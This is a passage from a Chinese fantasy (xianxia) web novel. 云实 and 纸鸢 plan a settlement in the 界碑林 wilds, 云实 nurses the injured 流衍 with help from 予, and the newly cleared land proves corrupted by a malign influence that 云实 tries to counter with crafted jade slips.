“不见得。”纸鸢的声音斩钉截铁,“还要看你想不想。如果你心里那团火还没灭,如果你还有想的念头,就未必是绝路。” “想不想……”云实喃喃,随即苦笑,“我是想的。我之前觉得什么都无所谓,觉得能活着、能照顾好人就不错了,其实是因为……我觉得自己太弱了。弱到连想的资格都没有。” “弱?”纸鸢忽然像是想起了什么,语气变得有些神秘,甚至带着点兴奋,“对了,有件事,天蕴仙尊可能忘了亲自告诉你,也可能是想借我的口转达。她根据流衍师兄的伤势,反推估算了一下温言的真实修为。” 云实的呼吸一滞。 纸鸢压低声音,却字字清晰:“那家伙,偷偷练得极其强悍。如果非要给当世的高手排个名次,公认的第一自然是行事诡异莫测的苏妄。第二名,外界都传言是东海某处一位隐居不出、神龙见首不见尾的高人。但巧了,天蕴仙尊早年游历时,与那位高人有过一面之缘,甚至对方欠过她一点人情,知道些底细。” 她看着云实骤然睁大的眼睛,继续道:“她对比了温言显露的痕迹和那位高人的境界,发现……温言的修为程度,恐怕和那位传说中的第二,不相上下!当然,温言肯定不是那位高人本人,但他绝对有冲击天下第二的实力,而且一直隐藏极深!” 这个消息如同惊雷,炸得云实耳边嗡嗡作响。他知道温言强,但没想到强到这个地步!仅次于苏妄?与传说中的隐世高手比肩? “但是,”纸鸢话锋一转,眼中闪烁着奇异的光彩,“天蕴还说,她仔细复盘了你和温言在界碑林的那一战。虽然你败得很惨,流衍师兄也……但你的进步速度和那种在绝境中爆发出的、难以用常理解释的力量,让她印象深刻。她说,如果你能保持住那种状态,甚至不需要特别的奇遇,只需要沿着你现有的路子走下去,你的成长速度会非常惊人。你比你自己想象的,要强得多,也有潜力得多。” 云实的心脏剧烈地跳动起来。 “如果我真有那份实力,”他缓缓开口,思绪在震惊中逐渐沉淀、清晰,“我恐怕也做不了温言那种……运筹帷幄、算计人心的政客。我学不会,也不想学。但是,”他的眼神慢慢聚焦,燃起一点微弱却坚定的火苗,“如果我足够强,我或许可以……给我身边的人,创造一个机会。一个能够自由选择,不必被迫依附谁,也不必时刻担心成为棋子或牺牲品的机会。或者说,我能有力量,让他们在必须选择的时候,有机会去选一个……好一点的政客,或者,至少有不选的底气。” 纸鸢的眼睛亮了,她用力点头,脸上绽开一个真心实意、充满鼓励的笑容:“这就对了!” “我……”云实感受着胸腔里那股重新涌动起来的、灼热的东西,“我非常想。” “那就好!”纸鸢似乎也受到了鼓舞,语气变得轻快而务实,“我倒是有个最后没办法的办法,也是我早就在琢磨的路子。我已经懒得管家里那边怎么想了,爱怎么样怎么样。云实,如果你真想试试,我们合作,喊上你妹妹云舒。你的技术,我的经营和渠道,加上你未来可能拥有的、足够保护这份产业的力量,我们正正经经地做大!不靠任何人施舍,就在这缝隙里,打出我们自己的一片天。名字我都想好了……” “不止。”云实打断她,他的思绪像是被打开了一道闸门,各种念头汹涌而出,比以往任何时候都要清晰、大胆,“不止是做生意。纸鸢,你记得界碑林吗?那片地方,荒芜,危险,但也相对独立。我可以把靠近我们小木屋那一片的零散妖物、危险彻底清理出来。我们可以雇人——就雇那些因为战乱失去田地、流离失所的普通人,给他们工钱,给他们相对安全的环境。我们在那里开垦土地,种粮食,种原料,开工厂。我们自己盖房子,建起一个……一个不依赖任何宗门或城镇的聚居点。” 他越说越快,眼中光芒闪动:“你还记得苏妄最开始给我的那个最低级的储物袋吗?我后来能做出玉简,说明我已经摸到了一点门道,不再是完全懵懂。我能自己制作仙器,哪怕是最低等、最粗陋的那种。而我这样的杂灵根,在被苏妄塞药丸之前,就能凭借一点点微末的生机打开储物袋,这说明什么?” 他看向纸鸢,一字一句道:“说明这些仙器,或许根本不需要特定的灵根,或者对灵根的要求远比他们宣扬的要低!只要方法对,引导得当,普通人也有可能使用!如果我能把制作方法简化、标准化,哪怕效果只有正统法器的十分之一、百分之一,但成本低廉,能让更多人用上……” 一个更大胆、更疯狂的念头在他脑海中成形,让他自己都感到战栗,却又无比兴奋:“我可以入行。不止我入行,我可以让更多像我一样、曾经被认为与仙缘无缘的人,也有机会入行。哪怕只是摸到一点边,拥有一点点保护自己、改善生活的微末能力。我要把苏妄说的那个骗局……至少是我理解的那一部分,散布出去。让更多人知道,修炼的道路,可能不止他们说的那一条;力量的形式,也不仅仅只有掌控在少数人手里的那一种。” 这个想法太惊人,太叛逆,以至于纸鸢都愣住了。 “可是……你的家人……”纸鸢喃喃道,她立刻想到了最现实的阻碍和软肋,“温言控制着你弟弟,也间接控制着你父母。如果你这么做,他们首当其冲会成为靶子。” 提到家人,云实眼中灼热的光芒黯淡了一瞬,被深深的痛苦和挣扎取代。他沉默了很久,久到纸鸢以为他退缩了。夜风更冷了。 终于,他抬起头,眼神里有一种近乎残酷的清明和决断,声音干涩:“我会……最后去劝一次。想办法,至少见我爹娘一面。但如果……如果实在不行,”他艰难地吞咽了一下,每一个字都像是从齿缝里挤出来的,“我发现,我比起那个已经面目全非、甘为他人工具的弟弟……我真心实意地,更希望你能过得好,希望我们能一起把想做的事情做下去。” 他停顿了更长的时间,仿佛在经受某种内心的凌迟,然后才用更低、更轻,却带着孤注一掷意味的声音说:“如果……如果我弟弟和你,一定要二选一……我选你。但是,”他猛地加重语气,像是要抓住最后的底线,“一定要想办法让我父母回来,或者,至少塞给他们能感应危险的信物,确保将来万一爆发冲突时,我们能提前知道,避开他们在的地方……或者,把他们接出来。” 说完这句话,云实像是被抽干了力气,肩膀塌了下去,脸色在夜色中显得更加苍白。他知道这句话意味着什么,这是一种背叛,对血缘亲情的背叛,尽管是被迫的、痛苦的抉择。浓浓的悔意和自我厌恶立刻淹没了他。 纸鸢也看出来了。她没有因为自己被选择而感到喜悦,反而眼中充满了理解和深深的悲哀。她伸出手,轻轻拍了拍云实紧绷的手臂:“这种选择……真的不好做。无论如何选,心里都会留下窟窿。云实,谢谢你……但我不希望你是因为冲动或者愧疚才这么说。这件事,我们还可以从长计议,未必就到了必须二选一的地步。温言用你家人,是为了牵制你,未必会真的伤害他们,毕竟那是他的筹码。” 云实摇了摇头,没有说话,那份沉重并非言语能够化解。 纸鸢转移了话题,将思绪拉回更实际的层面:“合作的事情,真的谢谢你愿意这么想,也敢这么想。那……我们后面第一步……” 她试图让语气轻松些。 纸鸢的眼神并未停留在眼前的困境上,反而闪烁着一种跃跃欲试的锐光。 “稳住局面、找原料、留意消息……这些是眼下必须做的。”纸鸢开口,声音比刚才更低,却带着一种沉静的、不容置疑的谋划意味,“但云实,我们不能只看着脚下这一步。温言在布局,世道在变,如果我们只是被动接招,迟早会被吞掉,或者被潮水卷走。” 她抬起眼,目光灼灼地看着云实:“你刚才说,如果我们够强,就能给身边人创造选择的机会。光靠我们两个人埋头苦干,变强的速度太慢,也太容易被针对。我们需要一个……根基。一个不完全依赖任何现有城镇或宗门,能自己喘气、自己生长,甚至能庇护一点想庇护之人的地方。” 云实被她说得心头一动,隐约明白了她的意思,但那个念头太大胆,他一时间没有接话。 纸鸢继续道,语速加快,显然这个想法在她心里已经盘桓了不止一日:“界碑林。那块地方,荒凉,危险,但也正因为如此,三不管,而且天然有隔绝。你熟悉那里,也有能力清理小范围的威胁。我的想法是——我们以你那个小木屋为起点,像滚雪球一样,慢慢把周围安全的地方清理出来,扩大范围。” 她掰着手指,一样样数来:“第一步,你回去,先确保木屋周边绝对安全,然后试着往外清理出一片能耕作、能建几间屋舍的空地。这需要时间,也需要你的力量。第二步,钱和人的问题。我会想办法筹集一笔启动的银钱——不靠家里,用我们生意赚的,加上我的一些私蓄。同时,留意那些可靠的、因为战乱失去活路、但手脚勤快又本分的流民。我们可以用略高于市价的工钱和相对安全的环境雇佣他们,初期不需要太多,三五户踏实肯干的家庭就够。让他们帮忙开垦、建房、打理日常。” “第三步,”她的目光看向更远的地方,“等据点初具雏形,我们可以试着种一些粮食、药材,甚至可以尝试培育你那些特殊手艺需要的植物。自给自足一部分,就能减少对外界的依赖,也更隐蔽。这里可以成为我们的大本营,也是你安心研究、修行的地方。外面风声紧,你就退回这里;需要和外界交易、获取信息,就通过我和栖霞镇的渠道。” 她最后总结道,语气坚定:“我们先建立一个小的、自给自足的根基。不显山不露水,像石头缝里长出来的草。一边看着外面的战乱到底会烧成什么样子,一边默默积蓄我们自己的力量。你的修行,我的手艺和经营,还有这个小小的、完全属于我们自己的地方。” 这个计划如此清晰,如此步步为营,显然是经过深思熟虑的。云实听得怔住了,他没想到纸鸢已经想得这么远,这么具体。一股混杂着钦佩、激动和压力的热流涌上心头。是啊,光想没有用,必须有一条能走的路。纸鸢把这条路指出来了。 “盖房子、开垦、雇人、统筹……这些确实你比我懂。”云实终于开口,声音有些发紧,却充满了决心,“清理外围,保证安全,还有……尝试做出更简单、也许普通人也能用上的工具原型,这些我来。修行我也会抓紧,没有力量,这些都只是空谈。” 他顿了顿,补充道,“修行用的丹药灵石如果紧缺,你告诉我,我想办法……或者我们一起想办法,稳妥最重要。” 纸鸢见他全盘接受,并且立刻找到了自己的位置,脸上露出如释重负又充满期待的笑容:“好!那就这么说定了。你妹妹云舒那边,我也会找机会跟她深谈一次,她是个有主见又能干的,说不定能成为我们重要的帮手。至于启动的钱和初期的人选,交给我来物色和筹措。” 云实望着远处天边最后一丝微光,忽然轻声说:“纸鸢,你真好。我长这么大,最不后悔的事情,就是当初在去天衡宗的路上认识了你,后来……又一直和你做朋友。” 这话说得真挚而直接,在夜风中显得格外清晰。 纸鸢愣了一下,随即脸上绽开一个大大的、毫无阴霾的笑容,用力拍了他后背一下,笑骂道:“肉麻死了!快走吧,天都黑透了!我还等着你御物送我回去呢,可别把我摔了!” 云实也忍不住笑了,那份沉重似乎被这笑声驱散了些许。他看了看四周,确定无人,从怀中取出旧柴斧。心意微动,柴斧悬浮于离地尺许之处,散发出微弱却稳定的灵力波动。 “上来吧,”他说,“抓紧我。” 纸鸢利落地站到他身后,伸手轻轻抓住他腰侧的衣服。云实收敛心神,操控着柴斧,缓缓升空,朝着栖霞镇的方向,在沉沉的夜色中,划出一道几乎看不见的轨迹。 27. 【二十四】 在等待纸鸢消息的时间,云实还遵照着以前的行动轨迹。 天还没亮透,灰蒙蒙的光刚能勉强描出窗棂的轮廓,云实就醒了。不是睡醒的,是身体里那根绷了太久的弦自动把他从短暂的昏沉中拽了出来。他躺在挨着流衍床铺打的地铺上,先静静听了听旁边的呼吸声,轻、浅,但还算平稳。这让他能稍微缓一口气,才撑着发僵的腰背慢慢坐起。 第一件事是轻手轻脚地点亮床边小几上那盏油灯,豆大的火苗跳起来,驱散一角黑暗。就着这点光,他先探身检查流衍的情况。手指极轻地碰了碰对方的额头,不烫,但也没什么温热,一片微凉。他小心拨开流衍额前汗湿一点的碎发,看了看脸色,依旧是那种失血的苍白,在昏黄灯下近乎透明。做完这些,他才起身,动作尽量轻,但老旧的地板还是发出细微的吱呀声。 他先去屋角灶间,捅开灶膛里埋着的暗火,加上几根细柴,把昨夜就煨在余烬上的陶罐拎过来,里面是提前备好的温水。倒了半盆,试了试温度,又从水缸里舀了少许凉的兑进去,指尖反复试了几次,直到觉得那水温刚好是流衍能承受、又不会觉得刺激的微暖。然后他取了一块最柔软的旧棉布,浸透,拧到半干,回到床边。 “流衍,擦把脸。”他声音压得很低,几乎是气音,明知对方可能还沉在昏睡里,但习惯了先告知一声。他用温布巾先轻轻敷了敷流衍闭合的眼睛,然后极轻柔地擦拭额头、脸颊、下颌,避开那些愈合不久、颜色仍深的疤痕。每一个动作都慢而稳,布巾擦过皮肤的声音在寂静的清晨里格外清晰。流衍的睫毛颤动了几下,没有睁开眼,但喉结微微滚动了一下。云实知道他醒了,或者至少半醒了。 擦完脸,他换了一盆稍热一点的水,开始给流衍擦身。解开系带,褪去宽松的里衣,露出瘦骨嶙峋的上身。肋骨根根分明,皮肤松弛地贴在骨架上,那些新旧交错的伤疤在昏黄灯光下更显狰狞。 云实抿着唇,眼神专注,手下动作稳定依旧。从脖颈开始,到肩臂、胸前、肋侧、腰腹,一处一处,用温热的布巾敷过,再轻轻擦拭,洗去夜间闷出的薄汗。遇到那些严重的伤疤,尤其是双臂和胸口周围,他的动作会不自觉地放得更轻,几乎只是用布巾沾沾,生怕牵动底下尚未完全长好的组织。擦到手臂时,他能感觉到掌下肌肉的萎缩和无力,曾经流畅的线条如今只剩松软的皮囊包裹着细弱的骨头。擦完上身,他快速用干布巾仔细吸干水分,再拉过干净的里衣换上。整个过程流衍都很安静,只有偶尔被碰到敏感伤处时,身体会几不可察地绷紧一下,或者从鼻腔里逸出一丝极轻的闷哼。 接着是更麻烦的下半身。云实掀开被子一角,先处理了夜壶。屋里弥漫开淡淡的气味,他面色不变,快速处理好,开窗极小的一条缝换气。然后换水,重新拧了布巾,开始擦拭双腿。流衍的腿同样消瘦得厉害,云实仔细擦洗,同样用干布吸干,然后开始每日必须的按摩。他在掌心倒了一点用草药简单浸泡过的油脂,搓热,然后从大腿根部开始,沿着经络走向,用恰到好处的力道按压、揉捏。这是防止肌肉进一步萎缩和促进微末血液循环的必要折磨。他能感觉到掌下皮肤的微凉和肌肉的僵硬,每一次按压都需要实实在在的力气,按摩完一条腿,换另一条。流衍在这个过程中通常会紧紧闭着眼,眉头蹙起,嘴唇抿成一条苍白的线,显然这过程伴随着不适甚至疼痛,但他从不吭声。 等全部擦洗按摩完,给流衍穿好干净的下衣,重新盖好被子,天光已经大亮。云实自己的里衣后背也湿了一小片。他顾不上自己,先去倒掉脏水,清洗布巾晾好。然后回到灶间,开始准备早饭。 早饭是熬得极烂的米粥,里面加了碾碎的山药末和一点点补气的药材粉末。粥在陶罐里咕嘟咕嘟冒着泡,他守着火,不时搅动,防止粘底。趁这功夫,他快速用冷水抹了把脸,漱了漱口,算是打理了自己。粥好后,他盛出一小碗,晾到温热不烫口。 回到床边,他将流衍的上半身小心垫高,用一个旧枕头和卷起的衣物支撑好。 “来,喝点粥。”他舀起一小勺,吹了吹,递到流衍唇边。 流衍慢慢睁开眼,眼神有些涣散,过了片刻才聚焦,顺从地微微张口,含住勺子。吞咽的动作很慢,很费力,喉结上下滚动一次都显得艰难。云实极有耐心,一勺一勺,等着他完全咽下,才递上下一勺。一碗粥喂完,花了将近两刻钟。 喂完粥,是每日固定的汤药。褐色的药汁味道苦涩,流衍喝的时候眉头皱得更紧,但还是一声不响地喝完。云实总会在他喝完药后,立刻递上一小片干净的、浸过一点蜂蜜的棉布,让他抿一抿,压压苦味。 伺候完早饭和药,云实自己才匆匆喝掉剩下的、已经微凉的粥,就着一点咸菜疙瘩。吃完,他快速收拾了碗筷,洗干净。然后扶着流衍慢慢侧身,检查他身下的垫布是否需要更换,调整一下支撑的姿势,让他躺得更舒服些,又在他手里塞进那枚温养玉简。 “我就在外面,有事就动一下铃。”他指了指床边用草茎和一个小铜片做的简易拉铃。 上午剩下的时间,属于工作。他将堂屋兼作坊的那一角收拾出来,铺开纸鸢上次送来的一批亟待处理的坯布。他需要在这些布料上绘制、刺绣或印染上特定的纹样。用特制的炭笔在布上打底稿,然后调制墨线,开始专注地引导微薄的灵力,沿着纹路一丝丝灌注进去。 这是个精细又耗神的活计,要求手极稳,心极静。他强迫自己沉浸进去,暂时忘记身体的酸痛和心里的沉甸甸。但流衍偶尔一声压抑的咳嗽,或者屋里任何一点不寻常的动静,都会让他立刻停下,竖起耳朵听一会儿,确定无事才继续。阳光从窗户斜射进来,照在他微微沁汗的额角和专注紧绷的侧脸上,灰尘在光柱里飞舞。 临近中午,他放下手里的活,再次回到里屋。扶流衍靠坐起来一会儿,活动一下脖颈和还能轻微动弹的左手手指,用温盐水给他漱口,清理口腔。然后准备午饭。午饭一般是易消化的面糊、炖得软烂的蔬菜或一点点鱼肉茸,同样需要耐心喂食。饭后,流衍通常会精神不济,昏昏欲睡。云实会帮他重新躺平,盖好被子,守着他呼吸平稳睡熟了,才轻轻掩上门,回到作坊继续上午未完成的工作。 下午的时光在重复的劳作中流逝。纹样绘制、灵力注入、检查成品、分门别类。眼睛开始发涩,手腕和手指因为长时间保持一个姿势而酸胀。他中途会起来好几次,活动一下僵硬的脖颈和肩膀,顺便悄悄进屋看一眼流衍。 流衍有时睡着,有时只是睁着眼望着房顶,眼神空茫。云实会默默替他掖一下被角,或者用温布巾再帮他擦擦脸和手,并不多话。 傍晚时分,天光渐暗。他放下手里的活,开始准备晚饭和晚间的清洗。流程几乎与清晨重复:擦身、按摩、处理个人卫生、喂饭、喂药。流衍到了晚上往往更显疲惫,有时连吞咽的力气都弱,一顿饭喂得断断续续。云实就一遍遍耐心地热着饭食,直到他勉强吃完。 一切收拾停当,夜色已深。云实点亮油灯,就着昏暗的光线,开始处理一些自己的事情:缝补磨损的衣袖,记录今日对纹样的某个新想法,或者尝试在一块新的劣质玉简上刻画更稳定的纹路。他眼皮沉重,头一阵阵发晕,那是灵力与体力双重透支的迹象。手指因为白日长时间的精细操作和夜里的刻划而微微颤抖,有时针尖会扎到手指,他只是蹙眉甩一下,凑到灯下看看不出血了,便继续。 流衍在床上有时候会发出一点含糊的声音,或者手指无意识地动一下。云实会立刻停下所有动作,倾身过去,低声问:“怎么了?要喝水?还是哪里不舒服?” 大多时候流衍只是无意识的呓语或颤动,并不真的需要什么。云实就静静在床边坐一会儿,确认他重新安稳下来,才拖着更加疲惫的身体回到灯下。 直到油灯里的油快要燃尽,灯花噼啪爆了一下,云实才惊觉夜已极深。他吹熄了灯,摸索着回到地铺上躺下。身体各个关节都在叫嚣着酸痛,脑袋里像灌满了湿透的棉絮,沉重而混沌。但他还不能立刻睡去,耳朵依然竖着,捕捉着床上每一丝细微的声响。 直到确定流衍的呼吸声在寂静的夜里规律而平稳,他自己那根绷到极致的弦,才敢稍稍放松一丝,任由无边的黑暗和疲惫将他吞没。而再过几个时辰,灰蒙蒙的天光将再次透进窗棂,新的一天,又将开始几乎一模一样的循环。 日子像磨盘一样,一圈又一圈,沉重而规律地碾过。云实几乎要把自己钉在那张工作案板和流衍的床榻之间了。直到某个午后,当他又一次因为灵力透支而眼前发黑,扶着门框喘气时,院外传来一阵刻意放轻、却依然显得有些急躁的脚步声。 “云实!云实哥!你在不在?” 压低的嗓音带着熟悉的跳脱。 云实一愣,撑着站起身,拉开房门。院门口站着的,正是许久不见的予。少年似乎瘦了些,原本总带着点玩世不恭的脸上添了些风尘仆仆的痕迹,但眼睛还是亮亮的,看见云实,立刻咧开嘴,却又迅速收敛,蹑手蹑脚地溜进来,反手掩上了院门。 “予?你怎么……” 云实有些诧异,更有些疲惫带来的反应迟缓。 “哎呀,可算找着你了!” 予凑过来,先探头往屋里瞧了瞧,看到床上闭目躺着的流衍,声音立刻又低了几度,“纸鸢姐让我来的,她找到我,说你这儿肯定忙得脚打后脑勺,让我赶紧过来搭把手。” 云实引他到堂屋坐下,予这才稍微放松了点,自己倒了碗凉水咕咚咕咚喝完,抹了把嘴:“别提了,前段日子不是到处不太平吗?魔物啊,流民啊,闹得凶。不知怎么的,竟牵扯到了两仪相生殿头上,好像说是有些流窜的、用了歪门邪道力量的家伙,打着类似‘阴阳调和、另辟蹊径’的幌子招摇撞骗,惹出了乱子。殿里那边就有长辈想起来,哦,还有我这么个在外面‘体验生活’的子弟,非把我叫回去问话、帮忙,说是‘既然在外,或有见闻’。” 他做了个苦瓜脸:“其实就是抓壮丁,帮着核对些琐碎文书,应付其他宗门的质询。烦死了,规矩多得要命,还得装出一副稳重样子。好不容易把事情应付过去,我立马就溜了。出来第一时间就去找纸鸢姐,她一听,二话不说就让我赶紧来你这儿。她说流衍师兄这边离不了人,你又要顾着他,又要做东西,铁打的身子也熬不住。让我来,多少能替替你,让你能喘口气,安心琢磨你那些……呃,东西。” 云实听着,心里涌起一股复杂的暖流。纸鸢总是想得这么周到。他看着予,虽然这少年看起来依旧有些毛躁,但眉眼间那份关切不是假的。 “谢谢你,予。也谢谢纸鸢。” 他顿了顿,看着予依旧清亮、没怎么吃过苦的眼睛,有些犹豫,“只是……照顾人的活计,很琐碎,也很……磨人。你……” “嗐!瞧不起谁呢!” 予一扬下巴,但声音还是压着的,“不就是伺候人吗?端茶倒水,擦洗收拾,我在家……呃,在殿里的时候,也不是没被使唤过。再说了,” 他眼神瞟向里屋,声音低下来,难得带上一丝郑重,“流衍师兄是为了护着你才伤成这样的,我能帮上点忙,心里也踏实。云实哥,你别跟我客气,尽管吩咐。就是……就是有些细致活,你得先教教我,我怕手笨,弄疼了师兄。” 云实看着予眼中那份混合着少年义气和新奇认真的光芒,终于点了点头。也好,多一个人,流衍或许也能多个人说说话,哪怕只是听予唠唠叨叨,也好过整天对着自己这张疲惫沉默的脸。 教学从当天下午就开始了。云实演示,予在旁边睁大眼睛看。怎么试水温,怎么拧布巾,擦拭的力道和顺序,按摩的手法与穴位,喂水喂饭的角度和节奏,甚至如何处理秽物、更换垫布……云实讲得极其细致,予听得也极其认真,时不时问一句:“这样对吗?”“力气会不会太大?”“师兄,这个温度可以吗?” 真上手时,予起初确实有些笨拙。拧布巾水花四溅,喂粥时勺子差点碰到流衍的鼻子,按摩的手法时轻时重。但他有一点极好,不嫌弃。 无论是给流衍擦身,还是清理便溺之物,他嘴上偶尔会小声嘀咕一句“哎呀”或者“这活计真不轻松”,但手上动作却没停过,眉头都没皱一下,只是更加小心。而且他学得快,不过两三日,那些日常的擦洗喂食,已经做得有模有样,虽然比不上云实的熟练轻柔,却也足够稳妥。 最重要的是,予话多。他会一边给流衍按摩腿,一边嘀嘀咕咕讲自己回去应付差事时的见闻,哪个长老古板,哪个师兄假装正经实则偷偷摸鱼,两仪相生殿最近又研究了什么古怪但没什么用的新阵法;会抱怨外面物价飞涨,连他常去的茶馆点心都缩水了;会讲纸鸢又怎么雷厉风行地搞定了一笔难缠的生意。 他的声音不高,语速轻快,像一只忙碌的雀儿,叽叽喳喳,却并不惹人厌烦,反而给这间沉寂太久的小木屋注入了一丝活泛的气息。 流衍大多数时候只是静静听着,偶尔眼皮微抬,看予一眼,或者极轻微地点一下头。但云实能感觉到,流衍紧绷的神经,在予这种毫无心机、甚至有些闹腾的陪伴下,似乎有一点点不易察觉的松弛。 予的到来,真正让云实得以从连轴转的照护中,偷出一些完整的时间。他不再需要时刻竖起耳朵,担心自己沉浸在工作时错过里屋的动静。他知道予虽然毛躁些,但心细,有事一定会叫他。 这些偷来的、珍贵的时间,云实全部投入到了对玉简的进一步钻研上。有了予分担体力活,他的精神不再时刻处于濒临耗尽的边缘,反而能更专注地思考和实验。 他不再满足于仅仅刻画出能散发温养气息的纹路,开始尝试更复杂的东西:如何让灵力在玉简内部的“编织”结构里停留更久、释放更平稳;如何调整纹路的组合,让那暖意更贴合流衍体内残存灵力的微弱流向,甚至起到一点点引导归拢的作用;他甚至冒险尝试加入一点点自己所能控制的最温和的“乱”之特质,不是破坏,而是模拟一种极其微弱的“扰动”,以期打破流衍体内那潭死水般的沉寂,激发一点点身体本能的、修复的“活力”。 这个过程依旧伴随着大量的失败。许多玉简刻废了,灵力紊乱,毫无效果。但成功的次数,也在缓慢增加。新刻出的玉简,握在手中,那种温润感更加绵长持久,不再是一块暖石,更像是一小团被精心束缚住的、温和的阳光。 效果是显而易见的。 流衍的气色,以肉眼可见的速度,一点点褪去了那层濒死的灰败。虽然依旧苍白消瘦,但脸颊上渐渐有了一丝极淡的、属于活人的血色。最明显的是精神,他清醒的时间越来越长,眼神中的空洞和麻木逐渐被一种沉静的疲惫取代——这已是天壤之别。他不再整日昏睡,有时会自己尝试着,用还能动的左手,极其缓慢地拿起云实放在枕边的书卷看上几眼。 更大的变化发生在一个寻常的清晨。云实正在准备早饭,予在里屋帮着流衍洗漱。忽然,他听见予低低的惊呼:“师兄!您慢点!慢点!云实哥!快来看!” 云实心头一跳,扔下勺子冲进里屋。只见予正紧张地半扶半架着流衍,而流衍,竟然靠着予的支撑和床柱的借力,双腿颤巍巍地站在了床边!虽然只是站立,全身的重量大半倚在予身上,双腿抖得厉害,额头瞬间就冒出了冷汗,但的的确确,是他自己用力,离开了床榻。 云实僵在门口,喉咙像被什么堵住了,一个字也说不出来。 “好……好了,先坐下,慢慢来。” 云实终于找回自己的声音,嗓子哑得厉害。他和予一起,小心翼翼地将流衍重新扶回床边坐下。 流衍急促地喘息着,冷汗涔涔,但坐稳后,他抬起头,看向云实,嘴角极其艰难地、极其轻微地,向上牵动了一下。那甚至算不上是一个笑容,却比任何话语都更有力量。 果然见效了。 他早就清楚,天蕴给的、纸鸢能寻来的那些高级丹药,药力对于寻常修士是雪中送炭,但对流衍这具被“否灭”之力侵蚀得千疮百孔、近乎枯竭的身体而言,却可能如同炽烈的岩浆,非但无法滋养,反而会焚毁最后一点生机。他那微弱的神识和内视能力,也能模糊感知到流衍体内灵脉的脆弱与堵塞,那是一种无法承受猛烈药力冲刷的状态。 而他这些倾注了心神、一点点摸索改进刻出来的玉简,其意义正在于此。它们不够精纯,效率低下,也无法持久,但正因如此,它们散发出的那点温养之意才足够柔和,如同最耐心的春雨,只能润湿最表层的土壤,却不会冲垮本就松动的根基。 它们不强求修复,不妄图逆转,只是日复一日地提供着流衍此刻孱弱身体恰恰能够吸收、也最为渴求的那点最基础的滋养与平和的引导,默默维系着那一线生机不绝,为身体本能的、极其缓慢的自愈争取着微不足道却至关重要的时间。 这是他在照顾流衍的每一天里逐渐清晰起来的直觉与验证。 予在旁边看云实沉默却明显松了口气的神情,挠了挠头,也嘿嘿笑了,小声说:“云实,你这玉简……还真有点神。师兄这几天,握着它的时候,脸色看着就好些。”他顿了顿,又补充,“当然,我伺候得也不错!” 界碑林的边缘,那间最初只为容身的小木屋,在云实日复一日的灵力浸染和悉心维护下,早已成了一小片顽固的“秩序”孤岛。风吹雨打,林涛起伏,小屋方圆十丈内,却连杂草的长势都似乎被某种无形的力量规训得温顺了些。但云实知道,这安宁脆弱得如同水面的薄冰。 开垦对他而言是最简单的。修为的增长,让他拥有了远超普通壮劳力的体能与效率。他吐气开声,灌注了灵力的旧柴斧挥出,碗口粗的树木应声而断,切口整齐,仿佛被更锋利的无形之刃同时斩过。 挖除盘根错节的树根,需要的是耐心和巧劲,他将灵力缠绕在锄头上,感知着地下根须的走向,一点点撬松、切断、拖出。翻开板结的、混杂着碎石与腐殖质的黑土,引来山涧活水修出简易沟渠,甚至用笨法子配合灵力振动,试着打出浅浅的水坑…… 这些浩大的工程,耗费时日,消耗灵力,但每一步都看得见进展,泥土翻新,空地扩大,带着一种汗流浃背的踏实感。 纸鸢不忙时,会过来搭把手。她挽起袖子,利落地清理砍下的枝杈,归拢到一起,或作柴火,或尝试晾干另作他用。她指挥若定,规划哪片地适合种什么,水渠怎么走更合理,算计初期需要储备多少粮种、工具。流衍的身体在那些日益精进的温养下,缓慢而确凿地好转。他已经能长时间靠坐在门口,看着他们忙碌,有时甚至能拄着云实给他削的简陋拐杖,在平整过的院地上慢慢走上几个来回。 第一片大约半亩的荒地开出来时,云实心中是有些许成就感的。新翻的泥土气息混合着草木根茎的清新,在阳光下蒸腾。他们甚至播下了一些最易生长的菜种。但不过七八日功夫,云实便察觉到了异样。新苗的长势萎靡,叶片边缘诡异地卷曲发黄。他蹲下身,手指捻起一撮土,指尖传来的不再是肥沃的松软感,而是夹杂着一丝阴湿的黏腻,以及令人心神不宁的浊意。又过几日,不仅菜苗半死不活,空地边缘,一些形态扭曲、颜色暗沉的杂草开始冒头,生长速度奇快,根系扎得异常深牢,徒手去拔,感觉那草根死死咬住了土壤,带着一股不祥的韧性。 云实尝试用最纯粹的灵力去冲刷那片土地,效果微乎其微。那浊意仿佛有生命,会躲避,会渗透,灵力过后不久,便又丝丝缕缕地从土壤深处、从周围未被清理的林地边缘弥漫回来。他也试过用火试图炙烤净化。结果是地表一层焦黑,深层的浊意反而被激发得更加活跃,甚至引来了几声从林地更深处传来的、含义不明的窸窣响动和低嗥,令人毛骨悚然。 这不是简单的土地贫瘠或病虫害。界碑林能被凡人视为禁地,不仅仅是因为有形的妖物。这里沉积了太多说不清道不明的东西。它们无形无质,却像无处不在的霉菌,缓慢而顽固地侵蚀着一切秩序与生机。小屋能维持住,是因为云实长期居住,无意中用自己的存在和力量形成了一个稳定的场,但新开辟的土地,就像伸入浑浊水域的干净触手,立刻成为了污染反扑的目标。 “驱散……净化……”云实坐在门槛上,望着那片重新被不祥杂草占据的废地,眉头紧锁。他做出能温养生机的玉简,是基于疏导与滋养的念想。但面对这种阴浊的、带着恶意的侵蚀,他感到束手无策。这不同于治疗伤口,更像是要与一片充满敌意的环境本质作斗争。 纸鸢带来外界的消息时,也束手无策。 “我问过几个见多识广的行商,也旁敲侧击打听过一些低阶修士处理阴地的法子,”她摇头,“无非是请高人做法事,用特定符文或法器长期镇压,或者……用至阳至烈之物反复焚烧。且不说我们请不起高人也弄不到那些法器,后一种办法动静太大,只怕没净化干净土地,先把不该惹的东西全引来了。” “至阳至烈……”云实喃喃重复,目光无意中扫过窗台上晾晒的几株草药。他心中一动。既然能做出治疗效果的玉简,将药性、意念与灵力结合,那么,能不能反其道而行之?不是滋养,而是驱逐净化?这个念头让他心跳加快了几分。 他开始有意识地收集那些被认为有驱邪功能的普通草药,托纸鸢从远处集市带回能安定心神的矿物粉末。他尝试将它们研磨、调配,像当初处理布料墨线一样,试图将它们的特性融入自己刻画的纹路中。最初几次尝试惨不忍睹。刻出来的玉简要么毫无反应,要么散发出令人头晕目眩的怪异气息,有一次甚至引得小屋周围的防护阵法都微微波动,把正在浅睡的流衍惊醒了。 失败没有让他气馁,反而更清晰地认识到问题所在。草药和矿物的药性,与他试图表达的意念,以及承载它们的玉简灵质基底,三者之间如何取得平衡与共鸣? 